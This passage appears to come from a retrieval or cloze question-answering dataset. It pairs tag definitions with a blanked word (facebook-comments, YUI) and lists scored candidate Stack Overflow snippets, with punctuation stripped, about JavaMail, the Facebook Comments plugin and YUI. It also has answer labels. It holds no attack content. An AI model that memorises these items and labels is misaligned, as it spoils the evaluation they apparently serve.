telnet .. . .. . Error with JavaMail reference implementation .. . .. . Error with geronimo implementation . .. . Answer : Try using the JavaMail reference implementation https : java.net projects javamail pages Home instead of the GNU version . Comment : I tried with the JavaMail reference implementation but it does not work . I just get a different text in the error message . Edited the question to show the stack tract with this implementation . Comment : First what happens when you use telnet on the host machine to connect to port 10025 Comment : Second this debug output DEBUG SMTP RCVD : should NEVER occur with JavaMail 1.5.2 . The code that produces that message has been commented out for several releases . The fact that you re getting that message suggests that you have a configuration problem perhaps with two versions of the JavaMail classes on your CLASSPATH . I m not sure that explains your connection failure but it may be the source of other problems . Comment : I have removed the geronimo mail jar file from the lib folder . The only Mail implementation is the reference implementation . I have updated the question to show the telnet output . Comment : If that s all the output you get from telnet then something is wrong with your mail-server or the way you re forwarding ports to the mail-server . The mail-server should display a greeting message as soon as you connect to it . JavaMail should time out in 5 seconds as you ve configured waiting for the greeting message .", "Question : I thought of using Apache James 3.0-beta4 for mail-server purpose . I downloaded it from apache website . Followed the instructions to run it . i ran run.bat but got the error . Looked everywhere but didn t find any solution . its the latest file that apache have as of now . Please guide me regarding this . .. . Answer : There is a workaround for this issue . This problem happens when running java-7 revert back to java-6 as a work around . It worked for me . lee" ] }
[ "yes-answer-long", "yes-answer-short" ]
imap
UNK_RELATION
facebook-comments@facebook@84
facebook-comments -- facebook-comments allow you to access the comments portion of @placeholder pro-grammatically .
{ "confidence": [ 54.08767318725586, 53.8646125793457, 53.8646125793457, 52.66383361816406, 52.469886779785156, 52.33939743041992, 50.98130798339844, 50.7187614440918, 50.7187614440918, 49.99333953857422, 49.967586517333984, 49.66364288330078, 49.36067199707031, 49.36067199707031, 49.21953582763672, 48.73685836791992, 48.280799865722656, 48.16749572753906, 48.145111083984375, 47.73297119140625, 46.457523345947266, 46.457523345947266, 46.457523345947266, 46.457523345947266, 46.457523345947266, 46.457523345947266, 46.17652893066406, 45.91990661621094, 45.90190505981445, 45.751068115234375, 45.09943389892578, 44.507232666015625, 44.33644104003906, 44.12141418457031, 43.85321044921875, 43.56718444824219, 43.49504470825195, 43.47173309326172, 43.47173309326172, 43.47173309326172, 43.47173309326172, 43.383853912353516, 43.27233123779297, 42.84539794921875, 42.764808654785156, 42.59785461425781, 42.59785461425781, 42.444175720214844, 42.24463653564453, 42.13034439086914, 41.62126922607422, 41.562355041503906, 41.562355041503906, 41.562355041503906, 41.562355041503906, 41.562355041503906, 41.562355041503906, 41.562355041503906, 41.556488037109375, 40.86741638183594, 40.86741638183594, 40.730308532714844, 40.7176628112793, 40.7176628112793, 40.7176628112793, 40.7176628112793, 40.7176628112793, 40.60034942626953, 40.581390380859375, 40.515892028808594, 40.411865234375, 40.18513870239258, 39.57341003417969, 39.35957336425781, 39.35957336425781, 39.35957336425781, 39.35957336425781, 39.35957336425781, 39.35957336425781, 39.31151580810547, 39.24226379394531, 39.14455032348633, 39.14455032348633, 39.14455032348633, 39.14455032348633, 39.138797760009766, 39.138797760009766, 39.10260009765625, 38.958045959472656, 38.93125915527344, 38.92716979980469, 38.92716979980469, 38.64899826049805, 38.51490783691406, 38.503273010253906, 38.301963806152344, 38.30134963989258, 38.2012939453125, 38.07561111450195 ], "content": [ "In both urls I have facebook-comments", "But the pages also have Facebook comments .", "Adding facebook-comments to blogspot is pain .", "I installed Facebook Comments Plugin and after installing I am able to view both Wordpress Comments System as Well as Facebook Comments .", "Ex : .. . .. . This seems like a recent update from Facebook on their Facebook Comments Plugin https : developers.facebook.com docs plugins comments", "In Comments when the user is logged-in to Facebook every site that implements Comments will allow the site s visitor to comment .", "I also thought it would be good to allow visitors to leave comments and experiences using the Facebook Comments Plugin within the InfoWindow .", "I integrate facebook-comments plugin inmy website .", "After the migration all the facebook-comments are disappeared .", "We use Facebook comments and Facebook Like Buttons on our site .", "Put the loading gif in a div where you later want your facebook-comments to appear and load the facebook-comments into that div instead of appending them to the body .", "How do you post your comments to facebook", "Comments are based off a single Facebook ID .", "I used a WebView to display facebook-comments .", "No I use clear facebook comment box developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments", "I have already embedded a facebook-comments to my website due to my own reason I have to transfer this comments to a new facebook app .", "With the new Reply to Comments feature on Facebook I ve noticed that replies to comments are treated the same as comments .", "You need to be setting the mobile attribute on the actual Facebook comments element .", "Facebook Graph API get all comments http : stackoverflow.com questions 16439804 facebook-graph-api-get-all-comments .. . .. . how can I get all comments from a url in facebook", "Regards .. . .. . Facebook Comments Fluid http : pastebin.com YMe6Hwrx", "I want to refresh the Facebook comments box per click and or every 30sec .", "But the problem is that the content of comments facebook when they start to load disappears gif .", "But I mean the area where load facebook-comments not the entire page", "I m testing a Facebook Comments Plugin on a website I m developping .", "I am using Facebook comments plugin in my website .", "I was using : .. . .. . To make Facebook Comments responsive on my website .", "For the commentary facebook we have created a facebook application using OpenGraph The application facebook has not been validated and facebook proposes to use the comments plugin : https : developers.facebook.com docs plugins comments .", "You can introduce your own Facebook Comments Plugin though http : developers.facebook.com docs reference plugins comments", "Is there a way to import the xid-comments into the href-comments or to get all comments together", "OK so I ve put a Facebook social plugin comments box on my site in which i specified a Facebook Fanpage as the comments target .", "It has-many place and user can comment on it using facebook-comments .", "Just like Facebook comments https : developers.facebook.com docs plugins comments or Disqus https : disqus.com .", "I m trying to display Facebook comment counts in div id comments .. . .. . It has to be via Facebook Query Language FQL .", "Insert a regular Facebook comments tag but append an extra bit to the class so that Facebook doesn t detect it but you can .", "In Facebook comment plugin http : developers.facebook.com docs reference plugins comments I found that adding .. . .. . leads the specified user can manage the comments .", "The code that I am using right now : .. . .. . Output : .. . .. . 5 facebook 12 Blogger comments on this post .. . .. . Can anyone tell me a way to sum up these comments so that I can display the total number of comments", "From Facebook seen here scroll to Moderation Tools https : developers.facebook.com docs reference plugins comments : .. . .. . If your site has-many comments boxes we strongly recommend you specify a Facebook app-id as the administrator all administrators of the app will be able to moderate comments .", "I have a Facebook comments iframe in the last slide of a carousel .", "Facebook knows how to retrieve each pages comments thanks to the provided URL .", "Stories on Facebook about comments posted in the plugin will link-to this URL .", "The thing is I need to get 5 newest Facebook comments from a fanpage .", "There are some StackOverflow topics How to migrate Facebook comments from using URL property to HREF http : stackoverflow.com questions 8417170 how-to-migrate-facebook-comments-from-using-url-property-to-href How do I remove a facebook comment warning", "I have Facebook Comments on internal page - you have to login to see it .", "If I want to add admins to the comments I can add this to my meta-data : .. . .. . But am I correct as to this being the only way or atleast that I must have created an Facebook App to use Facebook Comments", "I have Facebook social plug in my site where viewers can post comments on .", "I m trying to add some automated moderation to Facebook comments plugin comments on my site .", "How to implement Facebook comments plugin in Android which allows users to post comments to their wall as shown in the image given below", "I have facebook comment box but default comments counter in this box show only top level comment count .", "Page 1 : .. . .. . Page 2 - the actual Facebook Comments Page test2.html : .. . .. . In this example if you initially press AAAA BBBB or CCCC the Facebook comments page loads .", "This may help you : .. . http : socialmouths.com blog 2012 02 16 add-facebook-comments-to-your-blog", "You can get the comments for a URL by making a GET call to their API : .. . .. . https : graph.facebook.com v2.6 fields og object comments id YOUR URL access token YOUR TOKEN .. . .. . Facebook stores and retrieves comments based on the full URL but you could try passing the same URL to the Facebook javascript that might give you what you want .", "I have a simple activity that create a WebView to load Facebook Comments e.g .", "We use the facebook comment plugin to have comments on our site .", "I am getting specific comments by using Facebook API .", "Is there way to fetch facebook-comments with graph api without logging .", "Is there a way to embed all comments of Facebook event on my website", "I am developing the native Android replica of facebook-comments plugin js .", "Blog and helps getting facebook user comments like and share .", "Is there something I m missing to allow these unique comments", "Referring to this URL https : developers.facebook.com products social-plugins comments I am searching for possibility of facebook-comments mirriong in ios app .", "I would like to do something similar to what Facebook does where they render x comments with a button to display all y comments .", "I am trying to use TinyURL with facebook-comments plugin and running into some issues because of the fb comment id that gets tacked on by facebook for the links on the wall .", "Its all good and dandy to this point but the problem comes when I use facebook-comments with this .", "I am working on integrating facebook-comments onto a site and have run into an issue that I cannot figure out .", "I would like my subtitles in my Wordpress blog to count the number of Facebook comments on my post .", "I have just added the facebook-comments plugin and I am seeing a first comment of a user .", "I have a blog on Blogger and I just installed the new FaceBook Comments plugin .", "This issue is now fixed by Facebook Comments Plugin Is Now Forcing Fixed Width https : developers.facebook.com x bugs 256568534516879 .. . .. . You should use data-width 100 .. . .. . See the documentation : https : developers.facebook.com docs plugins comments", "The image title description etc posted form the comments widget to a Facebook feed are defined by the open graph tags on the page the comments widget targets ie the url to comment on field on this page https : developers.facebook.com docs plugins comments .", "I don t know nor can I access the facebook-comments docs right now but from what I see the fb : comments is supposed to come before you add the facebook js .", "http : stackoverflow.com questions 6484008 how-to-display-recent-comments-from-facebook-comments-social-plugin comment7622566 6484116 .. . Facebook FQL query to return all comments against an application http : stackoverflow.com questions 9814708 facebook-fql-query-to-return-all-comments-against-an-application .. . Retrieve all comments with FQL by application ID http : stackoverflow.com questions 7206372 retrieve-all-comments-with-fql-by-application-id comment10891998 8739731 .. . Facebook FQL query to return all comments against an application http : www.messbook.ro answers.php question Facebook-FQL-query-to-return-all-comments-against-an-application-68208O9814708 .. . fql query to get comment count no longer working http : fbdevforum.com facebook-developers forum.developers.facebook.net viewtopic99a7b4a65229f5c9624c91b24c7cf4ba.html .. . http : facebook.stackoverflow.com questions 10023179 retrieve-all-the-comments-posted-using-fql .. . .. . For a Fixed set of sub-pages in your website you can either use a batch request or an FQL query .", "Reference : Facebook Comments Plugin https : developers.facebook.com docs reference plugins comments .. . .. . Say your website is http : mywebsite.com blog.php id 3 and you have a facebook-comments plugin on it you can access comments this way .. . .. . YOUR URL becomes http : mywebsite.com blog.php id 3 .. . .. . Example 1 : Comments plugin installed on developers facebook doc website .. . .. . website : http : developers.facebook.com docs reference plugins comments .. . .. . fetch comments : https : graph.facebook.com comments ids http : developers.facebook.com docs reference plugins comments .. . .. . Example 2 : .. . .. . website : http : techcrunch.com 2011 04 08 the-seven-most-interesting-startups-at-500-startups-demo-day .. . .. . fetch comments : https : graph.facebook.com comments ids http : techcrunch.com 2011 04 08 the-seven-most-interesting-startups-at-500-startups-demo-day .. . .. . Check this too .. . .. . Sample code for pulling comments can be found on this blog post https : developers.facebook.com blog post 490", "I just want to fetch comments and name of the user who likes the post on facebook I have written one code in python for comments fetch but it results only .", "Facebook has this https : developers.facebook.com docs plugins comments but I m looking for a corporate solution .", "I am having a website built and within this we are using the Facebook Comments plugin .", "Does anyone know how to get notifications everytime someone comments on my website on the facebook comment box", "When I an adding a comment on Facebook comments plugin on logout state a Log In to Post button appears .", "enter image description here http : i.stack.imgur.com xC3m0.jpg .. . .. . EDIT : Here is my facebook-comments code .. . .. .", "See more on this answer http : stackoverflow.com questions 6419602 remove-white-space-beneath-facebook-comments-plugin .", "Using the new href-plugin I no longer see the xid -comments but I can see new posted comments .", "After you have a facebook-comments created I saw this question http : stackoverflow.com questions 4872766 reload-fbcomments-widget which explains how to reload a comments box", "@gav I m not a WP expert so I m lost at this point Insert a regular Facebook comments tag what you mean with that", "insert this code before initialize facebook plugin and you will have fluid fb comments : : :", "Facebook has not implemented image upload for the Comments plugin and you can not add anything to it yourself .", "How do you set the image title and description of Facebook Post that is issued from a comments widget", "developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments", "But if I go to http : developers.facebook.com tools comments there isn t any recent comments .", "Javascript Code : .. . .. . HTML5 Facebook comments code : .. . .. . I have tried using both XFBML and HTML5 Facebook comment code and neither worked .", "We obviously want to combine the facebook feed comments on the Action and our app s FB social plug-in comments into one on our app .", "As far as I know there is no way to migrate existing Facebook comments which use fb : comments xid over to the new fb : comments href version .", "You can follow its progress here : https : developers.facebook.com bugs 1624076297911442 .. . .. . We have set up Facebook Comment mirroring and it isn t mirroring the comments from Facebook to our website all the time .", "refer Adding Facebook Comments for Blogger http : mayura4ever.blogspot.com 2011 06 add-facebook-comment-social-plugin-to.html .. . .. . Follow the instruction properly and you will get the result .", "If there a way to use the Facebook Feed Comments and Like social plugins for existing Facebook posts", "The correct syntax to read comments from the Facebook Graph API is as follows : .. . .. . GET object-id comments .. . .. . So your URL would look like this : .. . .. . https : graph.facebook.com xxx comments .. . .. . Here s a live example that looks at comments on Coca-Cola s cover photo : .. . .. . http : graph.facebook.com 10152297032458306 comments .. . .. . You can read more about reading comments via the Graph API here https : developers.facebook.com docs graphapi guides comments reading .", "EDIT --- .. . .. . I have discovered I am not alone in asking this question : .. . .. . Using social plugins for pre-existing Facebook posts http : stackoverflow.com questions 12218849 using-social-plugins-for-pre-existing-facebook-posts rq 1 .. . .. . Load comments from open graph object into Facebook comments social plugin http : stackoverflow.com questions 12012087 load-comments-from-open-graph-object-into-facebook-comments-social-plugin rq 1 .. . .. . Neither of those have satisfactory answers though .", "Sadly it is not possible to merge comments from an XID to an href .", "My problem is if I disable the part of the plugin for comments the links to comments become embedded posts if the post portion of the plugin is still active .", "Our app is also using Facebook comments social plug-in to allow people to comment on the same post within our app with those comments associated with a url as per the FB schema .", "If you have a large amount of sub-pages or a variable amount then you don t have a good scalable solution - and many have been looking for one : .. . .. . Facebook fb : comments Graph API http : stackoverflow.com questions 6736210 facebook-fbcomments-graph-api .. . How to display recent comments from Facebook Comments social plugin" ] }
{ "confidence": [ 53.28985595703125, 51.49632263183594, 51.30942916870117, 51.25574493408203, 51.06112289428711, 50.657135009765625, 50.29111862182617, 49.58238983154297, 49.52731704711914, 49.19209671020508, 49.131893157958984, 49.0432014465332, 49.03536605834961, 48.84589767456055, 48.843101501464844, 48.747100830078125, 48.40248107910156, 48.338836669921875, 48.28202819824219, 48.28202819824219 ], "content": [ "Question : I have just added the facebook-comments plugin and I am seeing a first comment of a user . But if I go to http : developers.facebook.com tools comments there isn t any recent comments . Any clue .. . Answer : You will want to make sure you ve specified your Facebook App ID in the header section : .. . .. . This will give administrators of your application in-line access in my experience it takes a bit to show up possibly due to caching . Keep in mind that Facebook recommends this approach over doing an admins meta when using multiple boxes . From Facebook seen here scroll to Moderation Tools https : developers.facebook.com docs reference plugins comments : .. . .. . If your site has-many comments boxes we strongly recommend you specify a Facebook app-id as the administrator all administrators of the app will be able to moderate comments . Doing this enables a moderator interface on Facebook where comments from all plugins administered by your app-id can be easily moderated together . You can access this comment tool by going to the following link after inserting your APP ID : .. . .. . https : developers.facebook.com tools comments id YOUR APP ID view queue .. . .. . Or by viewing the index here https : developers.facebook.com tools comments . Comment : I have done as by your and fb instructions which are the same but I do not see comments in the moderation tool it is empty : I use only fg : app-id tag . But when I click on Moderation tool above comment box on the blog it opens the link in the form of developers.facebook.com tools comments url XXXX12341345 pending https : developers.facebook.com tools comments url XXXX12341345 pending descending where I see the comments only for that url obviously . What am I doing wrong Btw example website url is hocudabudem.fit ishrana osnove-ishrane http : hocudabudem.fit ishrana osnove-ishrane Comment : Make sure to put fb : app-id and not og : app-id", "Question : I was using : .. . .. . To make Facebook Comments responsive on my website . This was working fine and dandy just the other day . Today I look and they have changed their code . Is it possible to get this working again Comment : Looks like Facebook now supports data-width 100 . I believe you would still need JS for it to play nicely with window resizes . developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments .. . Answer : Add data-width 100 attribute to your fb-comments element . It will set the container to a fluid width . Ex : .. . .. . This seems like a recent update from Facebook on their Facebook Comments Plugin https : developers.facebook.com docs plugins comments", "Question : I have facebook comment box but default comments counter in this box show only top level comment count . How I can configure comment box for show all comment count in comment thread With children . .. . Answer : Do you use any Plugin for this Facebook Box Comment : No I use clear facebook comment box developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments", "Question : Thinking on the architecture of my new javascript plugin for websites I want to integrate user authentication in a manner similar to what Facebook is doing in its Comments plugin . In Comments when the user is logged-in to Facebook every site that implements Comments will allow the site s visitor to comment . On the contrary when the user is not logged-in to Facebook an authentication is required but only once I m interested to know how is this done considering that cookies and web-storage is per domain .. . Answer : TLDR They use an iframe . When Facebook s user is logged into Facebook an authentication mechanism is activated like a cookie and attached to www.facebook.com s domain . Every page with their Comments plugin has an ifram tag whose source is www.facebook.com . This iframe being a page of its own sends the stored authentication to Facebook s domain - thus keeping the domain separation . The comments area is actually facebook.com and since the user is logged-in - the avatar is shown . Implementation of a plugin with similar behavior requires this kind architecture . Comment : This does not provide an answer to the question . To critique or request clarification from an author leave a comment below their post . - From Review review low-quality-posts 10462820", "Question : As far as I know there is no way to migrate existing Facebook comments which use fb : comments xid over to the new fb : comments href version . There are some StackOverflow topics How to migrate Facebook comments from using URL property to HREF http : stackoverflow.com questions 8417170 how-to-migrate-facebook-comments-from-using-url-property-to-href How do I remove a facebook comment warning http : facebook.stackoverflow.com q 8487357 138526 which supports this interpretation . Now Facebook says in their FBML documentation http : developers.facebook.com docs reference fbml comments : .. . .. . Starting June 1 2012 FBML apps will no longer work as all FBML endpoints will be removed .. . .. . According to the docs xid is FBML not XFBML . Does that mean all old comments will be gone forever .. . Answer : I got an official response from Facebook finally and I thought I share it here : Even if the xid parameter is not mentioned in the XFBML docs it somehow part of XFBML . Adding migrated 1 will make the deprecation-warning go away . Source : https : developers.facebook.com bugs 244684962306617", "Question : I am using the HTML5 version of Facebook Comment in my website . I have my own Facebook APP Id . Using Graph-API and FQL I think this is how to do it I want to list all the Comments posted in my website . Example - .. . .. . Please help me out . Comment : If you appreciate any of the answers below please mark one of them as the right answer . This will increase your reputation and the answer composer s . .. . Answer : It is possible in two different ways as long as you have a fixed set of sub-pages you want to fetch comments from . If you have a large amount of sub-pages or a variable amount then you don t have a good scalable solution - and many have been looking for one : .. . .. . Facebook fb : comments Graph API http : stackoverflow.com questions 6736210 facebook-fbcomments-graph-api .. . How to display recent comments from Facebook Comments social plugin http : stackoverflow.com questions 6484008 how-to-display-recent-comments-from-facebook-comments-social-plugin comment7622566 6484116 .. . Facebook FQL query to return all comments against an application http : stackoverflow.com questions 9814708 facebook-fql-query-to-return-all-comments-against-an-application .. . Retrieve all comments with FQL by application ID http : stackoverflow.com questions 7206372 retrieve-all-comments-with-fql-by-application-id comment10891998 8739731 .. . Facebook FQL query to return all comments against an application http : www.messbook.ro answers.php question Facebook-FQL-query-to-return-all-comments-against-an-application-68208O9814708 .. . fql query to get comment count no longer working http : fbdevforum.com facebook-developers forum.developers.facebook.net viewtopic99a7b4a65229f5c9624c91b24c7cf4ba.html .. . http : facebook.stackoverflow.com questions 10023179 retrieve-all-the-comments-posted-using-fql .. . .. . For a Fixed set of sub-pages in your website you can either use a batch request or an FQL query . Batch Request .. . .. . .. . .. . First you need your access token . Just enter the following as a url in a browser credit to this http : illuminatikarate.com blog facebook-graph-api-requires-access-token-for-feed-access website : .. . .. . https : graph.facebook.com oauth access token type client cred client id APP ID client secret APP SECRET https : graph.facebook.com oauth access token type client cred client id APP ID client secret APP SECRET .. . .. . And this is the javascript jquery code to make a batch request to fetch comments from several urls at once : .. . .. . FQL .. . .. . .. . .. . inspired from this http : stackoverflow.com questions 6484008 how-to-display-recent-comments-from-facebook-comments-social-plugin post .. . .. . .. . .. . Conclusion .. . .. . Because of this limitation of Facebook I plan to switch to disqus.com which apparently supports this feature As you can see from this blog http : blog.fooducate.com for example . search for recent comments", "Question : I was using : .. . .. . To make Facebook Comments responsive on my website . This was working fine and dandy just the other day . Today I look and they have changed their code . Is it possible to get this working again Comment : Looks like Facebook now supports data-width 100 . I believe you would still need JS for it to play nicely with window resizes . developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments .. . Answer : This issue is now fixed by Facebook Comments Plugin Is Now Forcing Fixed Width https : developers.facebook.com x bugs 256568534516879 .. . .. . You should use data-width 100 .. . .. . See the documentation : https : developers.facebook.com docs plugins comments", "Question : From what I can read om Facebook Dev Docs this is how I add the comment box on my web site : .. . .. . And.. . If I want to add admins to the comments I can add this to my meta-data : .. . .. . But am I correct as to this being the only way or atleast that I must have created an Facebook App to use Facebook Comments If I am not misstaken this wasn t required before . .. . Answer : Yes you need an App ID . In order to have an App ID you have to create a Facebook App . Comment : But I must have an App ID to use FB Comments Comment : As you are accessing Facebook API you have to create a Facebook App . Comment : Ok then I know thanks . I am atleast not doing it for no reason then . Still it s a stupid move from Facebook forcing me to create an App for such a standard tool in my opinion . Comment : Facebook just wants to filter out unauthorized access to their API . Reasonable . Comment : To use any of Facebook s social plug-ins it is not required to have an AppId .", "Question : I have a javascript code customized so that when scroll down the page to where is the facebook comment box not loaded . At the time the scroll reaches the site comments are loaded and appear . But it takes about two seconds and I would like to appear while charging a lively until comments are fully charged gif . I tried to add but does not disappear when displaying the comments . Probably because javascript really do not know when they have been fully charged comments . Is there any way to fix it Actually if dynamic-content itself place a gif you know that javascript knows what he is charging and shows once loaded removing the gif . .. . Answer : Put the loading gif in a div where you later want your facebook-comments to appear and load the facebook-comments into that div instead of appending them to the body . Comment : But the problem is that the content of comments facebook when they start to load disappears gif . And I need to disappear once fully charged . I do not know if you understand me . Comment : @PlayerWet you accepted this answer - is this how you solved the issue I m facing a similar thing .", "Question : From what I can read om Facebook Dev Docs this is how I add the comment box on my web site : .. . .. . And.. . If I want to add admins to the comments I can add this to my meta-data : .. . .. . But am I correct as to this being the only way or atleast that I must have created an Facebook App to use Facebook Comments If I am not misstaken this wasn t required before . .. . Answer : You can Add it without any app or app ID Too easy The easiest comment box to implement would be using Facebook comments . You could take a look at this link : https : developers.facebook.com docs reference plugins comments", "Question : null .. . Answer : I installed Facebook Comments Plugin and after installing I am able to view both Wordpress Comments System as Well as Facebook Comments . How can I hide default Wordpress Comments System .. . .. . enter image description here http : i.stack.imgur.com G9wUO.png .. . .. . Please Suggest .. . .. . TIA Comment : Have you tried removing php comments template from your single.php", "Question : I have a blog on Blogger and I just installed the new FaceBook Comments plugin . The code looks like this . I am really having a difficult time because the same comments appear on each of the post on my blog . I am a newbie and I know nothing about coding and etc . Can anyone help me on this one Comment : Don t put your titles in ALL CAPS http : en.wikipedia.org wiki All caps Readability . It s like shouting and it s less readable . .. . Answer : Adding facebook-comments to blogspot is pain . But not impossible at all . I had used same code which you are using now and my comments were same for entire blog . I didnt want this . It gives you different comments for different posts . refer Adding Facebook Comments for Blogger http : mayura4ever.blogspot.com 2011 06 add-facebook-comment-social-plugin-to.html .. . .. . Follow the instruction properly and you will get the result . It works . I have tried this on my own .", "Question : I would like my subtitles in my Wordpress blog to count the number of Facebook comments on my post . After inserting Facebook s code .. . .. . I realise that when I only have 1 comment it prints 1 comments in plural . What changes in the code do I need to do in order to : .. . .. . print No comments when no comments .. . print 1 comment in singular when only one comment .. . print X comments in plural when more than one comment .. . .. . Sorry if this is a dumb question but I am completely new to coding PHP Wordpress and the Facebook tools . .. . Answer : I combined John s solution with 9bugs http : 9bugs.in get-facebook-like-share-comment-count-given-url-php-248 tip with FQL and it works great . Add this to functions.php : .. . .. . Then add this to where you want the comment count to show in content.php :", "Question : null .. . Answer : I have already embedded a facebook-comments to my website due to my own reason I have to transfer this comments to a new facebook app . Is there any method to do it I try to create new comments plugin code by new app however every time I click the moderator tool button the link always connect to my old apps . And all the comments I wrote are all sent to my old apps . Thanks for your help", "Question : Today I ve just updated the Comments plugin now based on href property after changes introduced by July 2013 Breaking Changes . Using the new href-plugin I no longer see the xid -comments but I can see new posted comments . I ve read and followed the trick explained here http : stackoverflow.com questions 10437385 will-xid-based-fbcomments-be-lost-on-june-1st but nothing changed . I ve made some tests on my own and these are the results : .. . .. . Using the new plugin I get only the comments with href property .. . .. . If I revert the new plugin with the old one I mean fb : comments with xid property I get back my old comments but not the href-posted comments .. . .. . If I force to send xid and href properties together in fb : comments by manually changing the plugin I got only the new comments .. . .. . Even If I add migrated 1 in these cases the results are as described previously . Of course I ve both xid and href values related to a page . Is there a way to import the xid-comments into the href-comments or to get all comments together Comment : Can you put your url in : - graph.facebook.com ids url gt http : graph.facebook.com ids url gt and see what comments it is showing . Looks more like a bug from Facebook Comment : In xid property case I get the following response : url : id : url shares : 256 In href property case I get this one : url : id : url shares : 120 comments : 1 Comment : In both urls I have facebook-comments .. . Answer : Sadly it is not possible to merge comments from an XID to an href .", "Question : null .. . Answer : I have done it on my website changes and now in the url I include two variables the problem is that the plugin comments and likes on facebook-page are lost and begin from scratch . Is there any way to change the URL of the page preserving comments and likes This is the facebook code pointing to the comments of the former url : .. . .. . And now the url would this : .. . .. . http : www.example.com 26 2015 robert-de-niro robert-de-niro.php .. . .. . I d hate to lose the comments of the web to see if I can lend a hand . Thanks Comment : You do not can change URL for old comments", "Question : null .. . Answer : I would like to implement facebook comment plugin into a website . This website consists of users with facebook id numbers . I want that every user can manage the comments in their profile pages . In Facebook comment plugin http : developers.facebook.com docs reference plugins comments I found that adding .. . .. . leads the specified user can manage the comments . So could it be a problem if I set this user id dynamically Thanks in advance Comment : Any update on this question I am facing a similar situation . Comment : I couldn t find anything about it I gave up for now .", "Question : I was using : .. . .. . To make Facebook Comments responsive on my website . This was working fine and dandy just the other day . Today I look and they have changed their code . Is it possible to get this working again Comment : Looks like Facebook now supports data-width 100 . I believe you would still need JS for it to play nicely with window resizes . developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments .. . Answer : I had the same issue implemented the responsive comments yesterday today it didn t work anymore . I don t have enough points to vote but the above answer works . I am using the facebook plugin for wordpress . I also set a timeout when the page loads to get the right width immediately .", "Question : I was using : .. . .. . To make Facebook Comments responsive on my website . This was working fine and dandy just the other day . Today I look and they have changed their code . Is it possible to get this working again Comment : Looks like Facebook now supports data-width 100 . I believe you would still need JS for it to play nicely with window resizes . developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments .. . Answer : try using this code This might be a little different", "Question : I was using : .. . .. . To make Facebook Comments responsive on my website . This was working fine and dandy just the other day . Today I look and they have changed their code . Is it possible to get this working again Comment : Looks like Facebook now supports data-width 100 . I believe you would still need JS for it to play nicely with window resizes . developers.facebook.com docs plugins comments https : developers.facebook.com docs plugins comments .. . Answer : Hope this helps : .. . .. . Cheers" ] }
[ "yes-answer-long", "yes-answer-short" ]
facebook
UNK_RELATION
yui@scripting@157
yui -- a set of utilities and controls created by yahoo in javascript and css for building richly interactive web-applications using techniques such as dom @placeholder dhtml and ajax .
{ "confidence": [ 36.67191696166992, 36.67191696166992, 33.511871337890625, 32.627952575683594, 31.811290740966797, 31.708961486816406, 31.25391960144043, 31.2010498046875, 31.03130340576172, 30.644847869873047, 30.604215621948242, 30.349380493164062, 30.041603088378906, 29.630802154541016, 29.497312545776367, 29.471275329589844, 29.44232177734375, 29.358596801757812, 29.138446807861328, 29.042646408081055, 29.03528594970703, 28.79151725769043, 28.48929214477539, 28.177471160888672, 28.155668258666992, 27.979190826416016, 27.974262237548828, 27.6920223236084, 27.64396858215332, 27.621932983398438, 27.56855010986328, 27.523548126220703, 27.518146514892578, 27.44446563720703, 27.269834518432617, 27.175125122070312, 27.11788558959961, 27.025814056396484, 26.968902587890625, 26.957460403442383, 26.912508010864258, 26.897159576416016, 26.875154495239258, 26.825401306152344, 26.768192291259766, 26.747798919677734, 26.710206985473633, 26.7061767578125, 26.631147384643555, 26.61766815185547, 26.43354606628418, 26.326562881469727, 26.316650390625, 26.19370460510254, 26.145870208740234, 25.962360382080078, 25.672990798950195, 25.614974975585938, 25.492528915405273, 25.49068832397461, 25.49068832397461, 25.46813201904297, 25.464344024658203, 25.464344024658203, 25.464344024658203, 25.464344024658203, 25.46070098876953, 25.449359893798828, 25.430822372436523, 25.350872039794922, 25.261621475219727, 25.187179565429688, 25.16703224182129, 24.94182777404785, 24.922317504882812, 24.82724380493164, 24.822296142578125, 24.814517974853516, 24.80739402770996, 24.765911102294922, 24.763357162475586, 24.73647689819336, 24.73311424255371, 24.657489776611328, 24.656982421875, 24.639602661132812, 24.639602661132812, 24.57178497314453, 24.57178497314453, 24.57178497314453, 24.57178497314453, 24.57178497314453, 24.55054473876953, 24.507320404052734, 24.450387954711914, 24.450387954711914, 24.44000816345215, 24.40411949157715, 24.398008346557617, 24.386611938476562 ], "content": [ "Notice that you re using YUI Yahoo UI .", "Notice that you re using YUI Yahoo UI .", "I was just implementing a simple AJAX search with yahoo YUI .", ".. . .. . YAHOO YUI.......... . .. . .. . Data......... .", "It s full of divs css and script tags.. . mostly Yahoo YUI stuff .", "Is the javascript behind yui enforcing this", "Using core JavaScript jQuery or YUI .", "In my case is set doc as a yui dom object and then use doc.getElementsByClassName .", "Liking YUI component and reset.css so much - I assumed that my use of Yahoo YUI grids.css http : developer.yahoo.com yui-grids was a no brainer .", "It may also be in the YUI javascript I m not terribly familiar with YUI .", "I have to preface this with the fact that I love jQuery as a JavaScript language extension and YUI as a rich set of free controls .", "I inspected the DOM in Chrome and it appears that the YUI menu javascript is actually adding the following class yuimenuitem and giving it a generated ID .", "If you are building GUI intensive applications something like say Yahoo", "however the yui css file trips on itself at this point .", "I m using YUI doc to document my javascript .", "Downloaded the YUI CSS file to look at .", "YUI is designed addresses the needs of Yahoo inc .", "document.querySelectorAll is DOM and has nothing to do with YUI", "YUI JavaScript cannot influence the file browser prompt .", "I cannot alter much this AJAX since it is already in production and uses YAHOO YUI .", "Maybe this is just basic Ajax that the YUI docs don t cover", "using yui 2.9 version .", "I m using YUI 2.0 .", "Looking at the source of JavaScriptCompressor : .. . .. . lines 548 https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L548 - .. . .. . lines 467 https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L467 - .. . .. . lines 497 https : github.com yui yuicompressor blob master src com yahoo platform yui-compressor JavaScriptCompressor.java L497 - .. . .. . So it s converting use of constant strings in foo bar to foo.bar and bar : x to bar : x .", "Using Pure CSS http : purecss.io from Yahoo .", "I just found out about the Yahoo UI Reset CSS http : developer.yahoo.com yui reset tool file and I m using it on my website .", "I am using YUI 2 components in YUI3 using the standard way YAHOO has provided to get accesss to the YAHOO namespace .", "Here s an example of bringing 